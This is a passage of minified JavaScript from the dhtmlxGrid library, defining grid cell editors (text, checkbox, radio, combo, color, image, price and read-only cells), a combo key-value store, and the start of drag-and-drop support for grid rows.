this.cell.style.color}else{return\"#000000\"}};this.getBgColor=function(){if(this.cell.bgColor){return this.cell.bgColor}else{return\"#FFFFFF\"}};this.getHorAlign=function(){if(this.cell.style.textAlign){return this.cell.style.textAlign}else{if(this.cell.style.textAlign){return this.cell.style.textAlign}else{return\"left\"}}};this.getWidth=function(){return this.cell.scrollWidth};this.setFont=function(c){fntAr=c.split(\"-\");this.cell.style.fontFamily=fntAr[0];this.cell.style.fontSize=fntAr[fntAr.length-1];if(fntAr.length==3){if(/bold/.test(fntAr[1])){this.cell.style.fontWeight=\"bold\"}if(/italic/.test(fntAr[1])){this.cell.style.fontStyle=\"italic\"}if(/underline/.test(fntAr[1])){this.cell.style.textDecoration=\"underline\"}}};this.setTextColor=function(c){this.cell.style.color=c};this.setBgColor=function(c){if(c==\"\"){c=null}this.cell.style.background=c};this.setHorAlign=function(c){if(c.length==1){if(c==\"c\"){this.cell.style.textAlign=\"center\"}else{if(c==\"l\"){this.cell.style.textAlign=\"left\"}else{this.cell.style.textAlign=\"right\"}}}else{this.cell.style.textAlign=c}};this.wasChanged=function(){if(this.cell.wasChanged){return true}else{return false}};this.isCheckbox=function(){var c=this.cell.firstChild;if(c&&c.tagName==\"INPUT\"){type=c.type;if(type==\"radio\"||type==\"checkbox\"){return true}else{return false}}else{return false}};this.isChecked=function(){if(this.isCheckbox()){return this.cell.firstChild.checked}};this.isDisabled=function(){return this.cell._disabled};this.setChecked=function(c){if(this.isCheckbox()){if(c!=\"true\"&&c!=1){c=false}this.cell.firstChild.checked=c}};this.setDisabled=function(c){if(c!=\"true\"&&c!=1){c=false}if(this.isCheckbox()){this.cell.firstChild.disabled=c;if(this.disabledF){this.disabledF(c)}}this.cell._disabled=c}}dhtmlXGridCellObject.prototype={getAttribute:function(a){return this.cell._attrs[a]},setAttribute:function(a,c){this.cell._attrs[a]=c},getInput:function(){if(this.obj&&(this.obj.tagName==\"INPUT\"||this.obj.tagName==\"TEXTAREA\")){return this.obj}var a=(this.obj||this.cell).getElementsByTagName(\"TEXTAREA\");if(!a.length){a=(this.obj||this.cell).getElementsByTagName(\"INPUT\")}return a[0]}};dhtmlXGridCellObject.prototype.setValue=function(a){if((typeof(a)!=\"number\")&&(!a||a.toString()._dhx_trim()==\"\")){a=\"&nbsp;\";this.cell._clearCell=true}else{this.cell._clearCell=false}this.setCValue(a)};dhtmlXGridCellObject.prototype.getTitle=function(){return(_isIE?this.cell.innerText:this.cell.textContent)};dhtmlXGridCellObject.prototype.setCValue=function(c,a){this.cell.innerHTML=c;this.grid.callEvent(\"onCellChanged\",[this.cell.parentNode.idd,this.cell._cellIndex,(arguments.length>1?a:c)])};dhtmlXGridCellObject.prototype.setCTxtValue=function(a){this.cell.innerHTML=\"\";this.cell.appendChild(document.createTextNode(a));this.grid.callEvent(\"onCellChanged\",[this.cell.parentNode.idd,this.cell._cellIndex,a])};dhtmlXGridCellObject.prototype.setLabel=function(a){this.cell.innerHTML=a};dhtmlXGridCellObject.prototype.getMath=function(){if(this._val){return this.val}else{return this.getValue()}};function eXcell(){this.obj=null;this.val=null;this.changeState=function(){return false};this.edit=function(){this.val=this.getValue()};this.detach=function(){return false};this.getPosition=function(g){var a=g;var e=0;var c=0;while(a.tagName!=\"BODY\"){e+=a.offsetLeft;c+=a.offsetTop;a=a.offsetParent}return new Array(e,c)}}eXcell.prototype=new dhtmlXGridCellObject;function eXcell_ed(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){this.cell.atag=(!this.grid.multiLine)?\"INPUT\":\"TEXTAREA\";this.val=this.getValue();this.obj=document.createElement(this.cell.atag);this.obj.setAttribute(\"autocomplete\",\"off\");this.obj.style.height=(this.cell.offsetHeight-(_isIE?4:4))+\"px\";this.obj.className=\"dhx_combo_edit\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.style.textAlign;this.obj.onclick=function(c){(c||event).cancelBubble=true};this.obj.onmousedown=function(c){(c||event).cancelBubble=true};this.obj.value=this.val;this.cell.innerHTML=\"\";this.cell.appendChild(this.obj);this.obj.onselectstart=function(c){if(!c){c=event}c.cancelBubble=true;return true};if(_isIE){this.obj.focus();this.obj.blur()}this.obj.focus()};this.getValue=function(){if((this.cell.firstChild)&&((this.cell.atag)&&(this.cell.firstChild.tagName==this.cell.atag))){return this.cell.firstChild.value}if(this.cell._clearCell){return\"\"}return this.cell.innerHTML.toString()._dhx_trim()};this.detach=function(){this.setValue(this.obj.value);return this.val!=this.getValue()}}eXcell_ed.prototype=new eXcell;function eXcell_edtxt(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.getValue=function(){if((this.cell.firstChild)&&((this.cell.atag)&&(this.cell.firstChild.tagName==this.cell.atag))){return this.cell.firstChild.value}if(this.cell._clearCell){return\"\"}return(_isIE?this.cell.innerText:this.cell.textContent)};this.setValue=function(c){if(!c||c.toString()._dhx_trim()==\"\"){c=\" \";this.cell._clearCell=true}else{this.cell._clearCell=false}this.setCTxtValue(c)}}eXcell_edtxt.prototype=new eXcell_ed;function eXcell_edn(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.getValue=function(){if((this.cell.firstChild)&&(this.cell.firstChild.tagName==\"TEXTAREA\")){return this.cell.firstChild.value}if(this.cell._clearCell){return\"\"}return this.cell._orig_value||this.grid._aplNFb(this.cell.innerHTML.toString()._dhx_trim(),this.cell._cellIndex)};this.detach=function(){var c=this.obj.value;this.setValue(c);return this.val!=this.getValue()}}eXcell_edn.prototype=new eXcell_ed;eXcell_edn.prototype.setValue=function(a){if(!a||a.toString()._dhx_trim()==\"\"){this.cell._clearCell=true;return this.setCValue(\"&nbsp;\",0)}else{this.cell._clearCell=false;this.cell._orig_value=a}this.setCValue(this.grid._aplNF(a,this.cell._cellIndex),a)};function eXcell_ch(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.disabledF=function(c){if((c==true)||(c==1)){this.cell.innerHTML=this.cell.innerHTML.replace(\"item_chk0.\",\"item_chk0_dis.\").replace(\"item_chk1.\",\"item_chk1_dis.\")}else{this.cell.innerHTML=this.cell.innerHTML.replace(\"item_chk0_dis.\",\"item_chk0.\").replace(\"item_chk1_dis.\",\"item_chk1.\")}};this.changeState=function(c){if(c===true&&!this.grid.isActive){if(window.globalActiveDHTMLGridObject!=null&&window.globalActiveDHTMLGridObject!=this.grid&&window.globalActiveDHTMLGridObject.isActive){window.globalActiveDHTMLGridObject.setActive(false)}this.grid.setActive(true)}if((!this.grid.isEditable)||(this.cell.parentNode._locked)||(this.isDisabled())){return}if(this.grid.callEvent(\"onEditCell\",[0,this.cell.parentNode.idd,this.cell._cellIndex])){this.val=this.getValue();if(this.val==\"1\"){this.setValue(\"0\")}else{this.setValue(\"1\")}this.cell.wasChanged=true;this.grid.callEvent(\"onEditCell\",[1,this.cell.parentNode.idd,this.cell._cellIndex]);this.grid.callEvent(\"onCheckbox\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")]);this.grid.callEvent(\"onCheck\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")])}else{this.editor=null}};this.getValue=function(){return this.cell.chstate?this.cell.chstate.toString():\"0\"};this.isCheckbox=function(){return true};this.isChecked=function(){if(this.getValue()==\"1\"){return true}else{return false}};this.setChecked=function(c){this.setValue(c.toString())};this.detach=function(){return this.val!=this.getValue()};this.edit=null}eXcell_ch.prototype=new eXcell;eXcell_ch.prototype.setValue=function(c){this.cell.style.verticalAlign=\"middle\";if(c){c=c.toString()._dhx_trim();if((c==\"false\")||(c==\"0\")){c=\"\"}}if(c){c=\"1\";this.cell.chstate=\"1\"}else{c=\"0\";this.cell.chstate=\"0\"}var a=this;this.setCValue(\"<img src='\"+this.grid.imgURL+\"item_chk\"+c+\".gif' onclick='new eXcell_ch(this.parentNode).changeState(true); (arguments[0]||event).cancelBubble=true; '>\",this.cell.chstate)};function eXcell_ra(a){this.base=eXcell_ch;this.base(a);this.grid=a.parentNode.grid;this.disabledF=function(c){if((c==true)||(c==1)){this.cell.innerHTML=this.cell.innerHTML.replace(\"radio_chk0.\",\"radio_chk0_dis.\").replace(\"radio_chk1.\",\"radio_chk1_dis.\")}else{this.cell.innerHTML=this.cell.innerHTML.replace(\"radio_chk0_dis.\",\"radio_chk0.\").replace(\"radio_chk1_dis.\",\"radio_chk1.\")}};this.changeState=function(c){if(c===false&&this.getValue()==1){return}if((!this.grid.isEditable)||(this.cell.parentNode._locked)||(this.isDisabled())){return}if(this.grid.callEvent(\"onEditCell\",[0,this.cell.parentNode.idd,this.cell._cellIndex])!=false){this.val=this.getValue();if(this.val==\"1\"){this.setValue(\"0\")}else{this.setValue(\"1\")}this.cell.wasChanged=true;this.grid.callEvent(\"onEditCell\",[1,this.cell.parentNode.idd,this.cell._cellIndex]);this.grid.callEvent(\"onCheckbox\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")]);this.grid.callEvent(\"onCheck\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")])}else{this.editor=null}};this.edit=null}eXcell_ra.prototype=new eXcell_ch;eXcell_ra.prototype.setValue=function(c){this.cell.style.verticalAlign=\"middle\";if(c){c=c.toString()._dhx_trim();if((c==\"false\")||(c==\"0\")){c=\"\"}}if(c){if(!this.grid._RaSeCol){this.grid._RaSeCol=[]}if(this.grid._RaSeCol[this.cell._cellIndex]){var a=this.grid.cells4(this.grid._RaSeCol[this.cell._cellIndex]);a.setValue(\"0\");if(this.grid.rowsAr[a.cell.parentNode.idd]){this.grid.callEvent(\"onEditCell\",[1,a.cell.parentNode.idd,a.cell._cellIndex])}}this.grid._RaSeCol[this.cell._cellIndex]=this.cell;c=\"1\";this.cell.chstate=\"1\"}else{c=\"0\";this.cell.chstate=\"0\"}this.setCValue(\"<img src='\"+this.grid.imgURL+\"radio_chk\"+c+\".gif' onclick='new eXcell_ra(this.parentNode).changeState(false);'>\",this.cell.chstate)};function eXcell_txt(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){this.val=this.getValue();this.obj=document.createElement(\"TEXTAREA\");this.obj.className=\"dhx_textarea\";this.obj.onclick=function(g){(g||event).cancelBubble=true};var c=this.grid.getPosition(this.cell);this.obj.value=this.val;this.obj.style.display=\"\";this.obj.style.textAlign=this.cell.style.textAlign;document.body.appendChild(this.obj);if(_isOpera){this.obj.onkeypress=function(g){if(g.keyCode==9||g.keyCode==27){return false}}}this.obj.onkeydown=function(h){var g=(h||event);if(g.keyCode==9||g.keyCode==27){globalActiveDHTMLGridObject.entBox.focus();globalActiveDHTMLGridObject.doKey({keyCode:g.keyCode,shiftKey:g.shiftKey,srcElement:\"0\"});return false}};this.obj.style.left=c[0]+\"px\";this.obj.style.top=c[1]+this.cell.offsetHeight+\"px\";if(this.cell.offsetWidth<200){var e=200}else{var e=this.cell.offsetWidth}this.obj.style.width=e+16+\"px\";if(_isIE){this.obj.select();this.obj.value=this.obj.value}this.obj.focus()};this.detach=function(){var c=\"\";c=this.obj.value;if(c==\"\"){this.cell._clearCell=true}else{this.cell._clearCell=false}this.setValue(c);document.body.removeChild(this.obj);this.obj=null;return this.val!=this.getValue()};this.getValue=function(){if(this.obj){return this.obj.value}if(this.cell._clearCell){return\"\"}if(typeof this.cell._brval!=\"undefined\"){return this.cell._brval}if((!this.grid.multiLine)){return this.cell._brval||this.cell.innerHTML}else{return this.cell._brval||this.cell.innerHTML.replace(/<br[^>]*>/gi,\"\\n\")._dhx_trim()}}}eXcell_txt.prototype=new eXcell;function eXcell_txttxt(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.getValue=function(){if((this.cell.firstChild)&&(this.cell.firstChild.tagName==\"TEXTAREA\")){return this.cell.firstChild.value}if(this.cell._clearCell){return\"\"}if((!this.grid.multiLine)&&this.cell._brval){return this.cell._brval}return(_isIE?this.cell.innerText:this.cell.textContent)};this.setValue=function(c){this.cell._brval=c;if(!c||c.toString()._dhx_trim()==\"\"){c=\" \";this.cell._clearCell=true}else{this.cell._clearCell=false}this.setCTxtValue(c)}}eXcell_txttxt.prototype=new eXcell_txt;eXcell_txt.prototype.setValue=function(a){this.cell._brval=a;if(!a||a.toString()._dhx_trim()==\"\"){a=\"&nbsp;\";this.cell._clearCell=true}else{this.cell._clearCell=false}if((!this.grid.multiLine)||this.cell._clearCell){this.setCValue(a,this.cell._brval)}else{this.setCValue(a.replace(/\\n/g,\"<br/>\"),a)}};function eXcell_co(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.combo=(this.cell._combo||this.grid.getCombo(this.cell._cellIndex));this.editable=true}this.shiftNext=function(){var c=this.list.options[this.list.selectedIndex+1];if(c){c.selected=true}this.obj.value=this.list.options[this.list.selectedIndex].text;return true};this.shiftPrev=function(){if(this.list.selectedIndex!=0){var c=this.list.options[this.list.selectedIndex-1];if(c){c.selected=true}this.obj.value=this.list.options[this.list.selectedIndex].text}return true};this.edit=function(){this.val=this.getValue();this.text=this.getText()._dhx_trim();var g=this.grid.getPosition(this.cell);this.obj=document.createElement(\"TEXTAREA\");this.obj.className=\"dhx_combo_edit\";this.obj.style.height=(this.cell.offsetHeight-(_isIE?4:4))+\"px\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.style.textAlign;this.obj.onclick=function(o){(o||event).cancelBubble=true};this.obj.onmousedown=function(o){(o||event).cancelBubble=true};this.obj.value=this.text;this.obj.onselectstart=function(o){if(!o){o=event}o.cancelBubble=true;return true};var l=this;this.obj.onkeyup=function(r){var q=(r||event).keyCode;if(q==38||q==40||q==9){return}var s=this.readonly?String.fromCharCode(q):this.value;var u=l.list.options;for(var o=0;o<u.length;o++){if(u[o].text.indexOf(s)==0){return u[o].selected=true}}};this.list=document.createElement(\"SELECT\");this.list.className=\"dhx_combo_select\";this.list.style.width=this.cell.offsetWidth+\"px\";this.list.style.left=g[0]+\"px\";this.list.style.top=g[1]+this.cell.offsetHeight+\"px\";this.list.onclick=function(r){var q=r||window.event;var o=q.target||q.srcElement;if(o.tagName==\"OPTION\"){o=o.parentNode}l.editable=false;l.grid.editStop();q.cancelBubble=true};var c=this.combo.getKeys();var h=false;var n=0;for(var e=0;e<c.length;e++){var m=this.combo.get(c[e]);this.list.options[this.list.options.length]=new Option(m,c[e]);if(c[e]==this.val){n=this.list.options.length-1;h=true}}if(h==false){this.list.options[this.list.options.length]=new Option(this.text,this.val===null?\"\":this.val);n=this.list.options.length-1}document.body.appendChild(this.list);this.list.size=\"6\";this.cstate=1;if(this.editable){this.cell.innerHTML=\"\"}else{this.obj.style.width=\"1px\";this.obj.style.height=\"1px\"}this.cell.appendChild(this.obj);this.list.options[n].selected=true;if(this.editable){this.obj.focus();this.obj.focus()}if(!this.editable){this.obj.style.visibility=\"hidden\";this.list.focus();this.list.onkeydown=function(o){o=o||window.event;l.grid.setActive(true);if(o.keyCode<30){return l.grid.doKey({target:l.cell,keyCode:o.keyCode,shiftKey:o.shiftKey,ctrlKey:o.ctrlKey})}}}};this.getValue=function(){return((this.cell.combo_value==window.undefined)?\"\":this.cell.combo_value)};this.detach=function(){if(this.val!=this.getValue()){this.cell.wasChanged=true}if(this.list.parentNode!=null){if(this.editable){var c=this.list.options[this.list.selectedIndex];if(c&&c.text==this.obj.value){this.setValue(this.list.value)}else{var e=(this.cell._combo||this.grid.getCombo(this.cell._cellIndex));var g=e.values._dhx_find(this.obj.value);if(g!=-1){this.setValue(e.keys[g])}else{this.setValue(this.cell.combo_value=this.obj.value)}}}else{this.setValue(this.list.value)}}if(this.list.parentNode){this.list.parentNode.removeChild(this.list)}if(this.obj.parentNode){this.obj.parentNode.removeChild(this.obj)}return this.val!=this.getValue()}}eXcell_co.prototype=new eXcell;eXcell_co.prototype.getText=function(){return this.cell.innerHTML};eXcell_co.prototype.setValue=function(g){if(typeof(g)==\"object\"){var e=dhx4.ajax.xpath(\"./option\",g);if(e.length){this.cell._combo=new dhtmlXGridComboObject()}for(var c=0;c<e.length;c++){this.cell._combo.put(e[c].getAttribute(\"value\"),e[c].firstChild?e[c].firstChild.data:\"\")}g=g.firstChild.data}if((g||\"\").toString()._dhx_trim()==\"\"){g=null}this.cell.combo_value=g;if(g!==null){var a=(this.cell._combo||this.grid.getCombo(this.cell._cellIndex)).get(g);this.setCValue(a===null?g:a,g)}else{this.setCValue(\"&nbsp;\",g)}};function eXcell_coro(a){this.base=eXcell_co;this.base(a);this.editable=false}eXcell_coro.prototype=new eXcell_co;function eXcell_cotxt(a){this.base=eXcell_co;this.base(a)}eXcell_cotxt.prototype=new eXcell_co;eXcell_cotxt.prototype.getText=function(){return(_isIE?this.cell.innerText:this.cell.textContent)};eXcell_cotxt.prototype.setValue=function(e){if(typeof(e)==\"object\"){var c=dhx4.ajax.xpath(\"./option\",e);if(c.length){this.cell._combo=new dhtmlXGridComboObject()}for(var a=0;a<c.length;a++){this.cell._combo.put(c[a].getAttribute(\"value\"),c[a].firstChild?c[a].firstChild.data:\"\")}e=e.firstChild.data}if((e||\"\").toString()._dhx_trim()==\"\"){e=null}if(e!==null){this.setCTxtValue((this.cell._combo||this.grid.getCombo(this.cell._cellIndex)).get(e)||e,e)}else{this.setCTxtValue(\" \",e)}this.cell.combo_value=e};function eXcell_corotxt(a){this.base=eXcell_co;this.base(a);this.editable=false}eXcell_corotxt.prototype=new eXcell_cotxt;function eXcell_cp(a){try{this.cell=a;this.grid=this.cell.parentNode.grid}catch(c){}this.edit=function(){this.val=this.getValue();this.obj=document.createElement(\"SPAN\");this.obj.style.border=\"1px solid black\";this.obj.style.position=\"absolute\";var e=this.grid.getPosition(this.cell);this.colorPanel(4,this.obj);document.body.appendChild(this.obj);this.obj.style.left=e[0]+\"px\";this.obj.style.zIndex=1000;this.obj.style.top=e[1]+this.cell.offsetHeight+\"px\"};this.toolDNum=function(e){if(e.length==1){e=\"0\"+e}return e};this.colorPanel=function(q,v){var m=document.createElement(\"TABLE\");v.appendChild(m);m.cellSpacing=0;m.editor_obj=this;m.style.cursor=\"default\";m.onclick=function(x){var w=x||window.event;var n=w.target||w.srcElement;var r=n.parentNode.parentNode.parentNode.editor_obj;if(r){r.setValue(n._bg);r.grid.editStop()}};var h=256/q;for(var l=0;l<=(256/h);l++){var e=m.insertRow(l);for(var o=0;o<=(256/h);o++){for(var g=0;g<=(256/h);g++){R=new Number(h*l)-(l==0?0:1);G=new Number(h*o)-(o==0?0:1);B=new Number(h*g)-(g==0?0:1);var u=this.toolDNum(R.toString(16))+\"\"+this.toolDNum(G.toString(16))+\"\"+this.toolDNum(B.toString(16));var s=e.insertCell(o);s.width=\"10px\";s.innerHTML=\"&nbsp;\";s.title=u.toUpperCase();s.style.backgroundColor=\"#\"+u;s._bg=\"#\"+u;if(this.val!=null&&\"#\"+u.toUpperCase()==this.val.toUpperCase()){s.style.border=\"2px solid white\"}}}}};this.getValue=function(){return this.cell.firstChild._bg||\"\"};this.getRed=function(){return Number(parseInt(this.getValue().substr(1,2),16))};this.getGreen=function(){return Number(parseInt(this.getValue().substr(3,2),16))};this.getBlue=function(){return Number(parseInt(this.getValue().substr(5,2),16))};this.detach=function(){if(this.obj.offsetParent!=null){document.body.removeChild(this.obj)}return this.val!=this.getValue()}}eXcell_cp.prototype=new eXcell;eXcell_cp.prototype.setValue=function(a){this.setCValue(\"<div style='width:100%;height:\"+((this.grid.multiLine?\"100%\":23))+\";background-color:\"+(a||\"\")+\";border:0px;'>&nbsp;</div>\",a);this.cell.firstChild._bg=a};function eXcell_img(a){try{this.cell=a;this.grid=this.cell.parentNode.grid}catch(c){}this.getValue=function(){if(this.cell.firstChild.tagName==\"IMG\"){return this.cell.firstChild.src+(this.cell.titFl!=null?\"^\"+this.cell._brval:\"\")}else{if(this.cell.firstChild.tagName==\"A\"){var e=this.cell.firstChild.firstChild.src+(this.cell.titFl!=null?\"^\"+this.cell._brval:\"\");e+=\"^\"+this.cell.lnk;if(this.cell.trg){e+=\"^\"+this.cell.trg}return e}}};this.isDisabled=function(){return true}}eXcell_img.prototype=new eXcell;eXcell_img.prototype.getTitle=function(){return this.cell._brval};eXcell_img.prototype.setValue=function(e){var c=e;if((e||\"\").indexOf(\"^\")!=-1){var a=e.split(\"^\");e=a[0];c=this.cell._attrs.title||a[1];if(a.length>2){this.cell.lnk=a[2];if(a[3]){this.cell.trg=a[3]}}this.cell.titFl=\"1\"}this.setCValue(\"<img src='\"+this.grid.iconURL+(e||\"\")._dhx_trim()+\"' border='0'>\",e);if(this.cell.lnk){this.cell.innerHTML=\"<a href='\"+this.cell.lnk+\"' target='\"+this.cell.trg+\"'>\"+this.cell.innerHTML+\"</a>\"}this.cell._brval=c};function eXcell_price(a){this.base=eXcell_ed;this.base(a);this.getValue=function(){if(this.cell.childNodes.length>1){return this.cell.childNodes[1].innerHTML.toString()._dhx_trim()}else{return\"0\"}}}eXcell_price.prototype=new eXcell_ed;eXcell_price.prototype.setValue=function(c){if(isNaN(parseFloat(c))){c=this.val||0}var a=\"green\";if(c<0){a=\"red\"}this.setCValue(\"<span>$</span><span style='padding-right:2px;color:\"+a+\";'>\"+c+\"</span>\",c)};function eXcell_dyn(a){this.base=eXcell_ed;this.base(a);this.getValue=function(){return this.cell.firstChild.childNodes[1].innerHTML.toString()._dhx_trim()}}eXcell_dyn.prototype=new eXcell_ed;eXcell_dyn.prototype.setValue=function(e){if(!e||isNaN(Number(e))){if(e!==\"\"){e=0}}if(e>0){var c=\"green\";var a=\"dyn_up.gif\"}else{if(e==0){var c=\"black\";var a=\"dyn_.gif\"}else{var c=\"red\";var a=\"dyn_down.gif\"}}this.setCValue(\"<div style='position:relative;padding-right:2px; width:100%;overflow:hidden; white-space:nowrap;'><img src='\"+this.grid.imgURL+\"\"+a+\"' height='15' style='position:absolute;top:0px;left:0px;'><span style=' padding-left:20px; width:100%;color:\"+c+\";'>\"+e+\"</span></div>\",e)};function eXcell_ro(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){};this.isDisabled=function(){return true};this.getValue=function(){return this.cell._clearCell?\"\":this.cell.innerHTML.toString()._dhx_trim()}}eXcell_ro.prototype=new eXcell;window.eXcell_hidden=function(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){};this.isDisabled=function(){return true};this.getValue=function(){return this.cell.val}};eXcell_hidden.prototype=new eXcell;eXcell_hidden.prototype.setValue=function(a){this.cell.val=a};function eXcell_ron(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.edit=function(){};this.isDisabled=function(){return true};this.getValue=function(){return this.cell._clearCell?\"\":this.cell._orig_value||this.grid._aplNFb(this.cell.innerHTML.toString()._dhx_trim(),this.cell._cellIndex).toString()}}eXcell_ron.prototype=new eXcell;eXcell_ron.prototype.setValue=function(a){if(a===0){}else{if(!a||a.toString()._dhx_trim()==\"\"){this.setCValue(\"&nbsp;\");return this.cell._clearCell=true}}this.cell._orig_value=a;this.cell._clearCell=false;this.setCValue(a?this.grid._aplNF(a,this.cell._cellIndex):\"0\")};function eXcell_rotxt(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.edit=function(){};this.isDisabled=function(){return true};this.setValue=function(c){if(!c){c=\" \";this.cell._clearCell=true}else{this.cell._clearCell=false}this.setCTxtValue(c)};this.getValue=function(){if(this.cell._clearCell){return\"\"}return(_isIE?this.cell.innerText:this.cell.textContent)}}eXcell_rotxt.prototype=new eXcell;function dhtmlXGridComboObject(){this.keys=new dhtmlxArray();this.values=new dhtmlxArray();this.put=function(c,e){for(var a=0;a<this.keys.length;a++){if(this.keys[a]==c){this.values[a]=e;return true}}this.values[this.values.length]=e;this.keys[this.keys.length]=c};this.get=function(c){for(var a=0;a<this.keys.length;a++){if(this.keys[a]==c){return this.values[a]}}return null};this.clear=function(){this.keys=new dhtmlxArray();this.values=new dhtmlxArray()};this.remove=function(c){for(var a=0;a<this.keys.length;a++){if(this.keys[a]==c){this.keys._dhx_removeAt(a);this.values._dhx_removeAt(a);return true}}};this.size=function(){var a=0;for(var c=0;c<this.keys.length;c++){if(this.keys[c]!=null){a++}}return a};this.getKeys=function(){var a=new Array(0);for(var c=0;c<this.keys.length;c++){if(this.keys[c]!=null){a[a.length]=this.keys[c]}}return a};this.save=function(){this._save=new Array();for(var a=0;a<this.keys.length;a++){this._save[a]=[this.keys[a],this.values[a]]}};this.restore=function(){if(this._save){this.keys[a]=new Array();this.values[a]=new Array();for(var a=0;a<this._save.length;a++){this.keys[a]=this._save[a][0];this.values[a]=this._save[a][1]}}};return this}function Hashtable(){this.keys=new dhtmlxArray();this.values=new dhtmlxArray();return this}Hashtable.prototype=new dhtmlXGridComboObject;if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype.attachGrid=function(){this.callEvent(\"_onBeforeContentAttach\",[\"grid\"]);var a=document.createElement(\"DIV\");a.style.width=\"100%\";a.style.height=\"100%\";a.style.position=\"relative\";a.style.overflow=\"hidden\";this._attachObject(a);this.dataType=\"grid\";this.dataObj=new dhtmlXGridObject(a);this.dataObj.setSkin(this.conf.skin);if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&this instanceof window.dhtmlXTabBarCell&&navigator.userAgent.match(/7[\\.\\d]* mobile/gi)!=null&&navigator.userAgent.match(/AppleWebKit/gi)!=null){this.dataObj.objBox.style.webkitOverflowScrolling=\"auto\"}if(this.conf.skin==\"dhx_skyblue\"&&typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&this instanceof window.dhtmlXWindowsCell){this.dataObj.entBox.style.border=\"1px solid #a4bed4\";this.dataObj._sizeFix=0}else{this.dataObj.entBox.style.border=\"0px solid white\";this.dataObj._sizeFix=2}a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj}}dhtmlXGridObject.prototype.enableDragAndDrop=function(a){if(a==\"temporary_disabled\"){this.dADTempOff=false;a=true}else{this.dADTempOff=true}this.dragAndDropOff=dhx4.s2b(a);this._drag_validate=true;if(a){this.objBox.ondragstart=function(c){(c||event).cancelBubble=true;return false}}};dhtmlXGridObject.prototype.setDragBehavior=function(a){this.dadmodec=this.dadmodefix=0;switch(a){case\"child\":this.dadmode=0;this._sbmod=false;break;case\"sibling\":this.dadmode=1;this._sbmod=false;break;case\"sibling-next\":this.dadmode=1;this._sbmod=true;break;case\"complex\":this.dadmode=2;this._sbmod=false;break;case\"complex-next\":this.dadmode=2;this._sbmod=true;break}};dhtmlXGridObject.prototype.enableDragOrder=function(a){this._dndorder=dhx4.s2b(a)};dhtmlXGridObject.prototype._checkParent=function(g,c){var e=this._h2.get[g.idd].parent;if(!e.parent){return}for(var a=0;a<c.length;a++){if(c[a]==e.id){return true}}return this._checkParent(this.rowsAr[e.id],c)};dhtmlXGridObject.prototype._createDragNode=function(g,h){this.editStop();if(window.dhtmlDragAndDrop.dragNode){return null}if(!this.dADTempOff){return null}g.parentObject=new Object();g.parentObject.treeNod=this;var o=this.callEvent(\"onBeforeDrag\",[g.parentNode.idd,g._cellIndex,h]);if(!o){return null}var l=new Array();l=this.getSelectedId();l=(((l)&&(l!=\"\"))?l.split(this.delim):[]);var m=false;for(var c=0;c<l.length;c++){if(l[c]==g.parentNode.idd){m=true}}if(!m){this.selectRow(this.rowsAr[g.parentNode.idd],false,h.ctrlKey,false);if(!h.ctrlKey){l=[]}l[this.selMultiRows?l.length:0]=g.parentNode.idd}if(this.isTreeGrid()){for(var c=l.length-1;c>=0;c--){if(this._checkParent(this.rowsAr[l[c]],l)){l.splice(c,1)}}}var q=this;if(l.length&&this._dndorder){l.sort(function(r,e){return(q.rowsAr[r].rowIndex>q.rowsAr[e].rowIndex?1:-1)})}var a=this.getFirstParentOfType(_isIE?h.srcElement:h.target,\"TD\");if(a){this._dndExtra=a._cellIndex}this._dragged=new Array();for(var c=0;c<l.length;c++){if(this.rowsAr[l[c]]){this._dragged[this._dragged.length]=this.rowsAr[l[c]];this.rowsAr[l[c]].treeNod=this}}g.parentObject.parentNode=g.parentNode;var n=document.createElement(\"div\");n.innerHTML=(o!==true?o:this.rowToDragElement(g.parentNode.idd));n.style.position=\"absolute\";n.className=\"dragSpanDiv\";return n};dhtmlXGridObject.prototype._createSdrgc=function(){this._sdrgc=document.createElement(\"DIV\");this._sdrgc.innerHTML=\"&nbsp;\";this._sdrgc.className=\"gridDragLine\";this.objBox.appendChild(this._sdrgc)};function dragContext(w,v,u,s,r,q,n,o,m,g){this.source=w||\"grid\";this.target=v||\"grid\";this.mode=u||\"move\";this.dropmode=s||\"child\";this.sid=r||0;this.tid=q;this.sobj=n||null;this.tobj=o||null;this.sExtra=m||null;this.tExtra=g||null;return this}dragContext.prototype.valid=function(){if(this.sobj!=this.tobj){return true}if(this.sid==this.tid){return false}if(this.target==\"treeGrid\"){var a=this.tid;while(a=this.tobj.getParentId(a)){if(this.sid==a){return false}}}return true};dragContext.prototype.close=function(){this.sobj=null;this.tobj=null};dragContext.prototype.copy=function(){return new dragContext(this.source,this.target,this.mode,this.dropmode,this.sid,this.tid,this.sobj,this.tobj,this.sExtra,this.tExtra)};dragContext.prototype.set=function(e,c){this[e]=c;return this};dragContext.prototype.uid=function(e,c){this.nid=this.sid;while(this.tobj.rowsAr[this.nid]){this.nid=this.nid+((new Date()).valueOf())}return this};dragContext.prototype.data=function(){if(this.sobj==this.tobj){return this.sobj._getRowArray(this.sobj.rowsAr[this.sid])}if(this.source==\"tree\"){return this.tobj.treeToGridElement(this.sobj,this.sid,this.tid)}else{return this.tobj.gridToGrid(this.sid,this.sobj,this.tobj)}};dragContext.prototype.attrs=function(){if(this.source==\"tree\"){return{}}else{return this.sobj.rowsAr[this.sid]._attrs}};dragContext.prototype.childs=function(){if(this.source==\"treeGrid\"){return 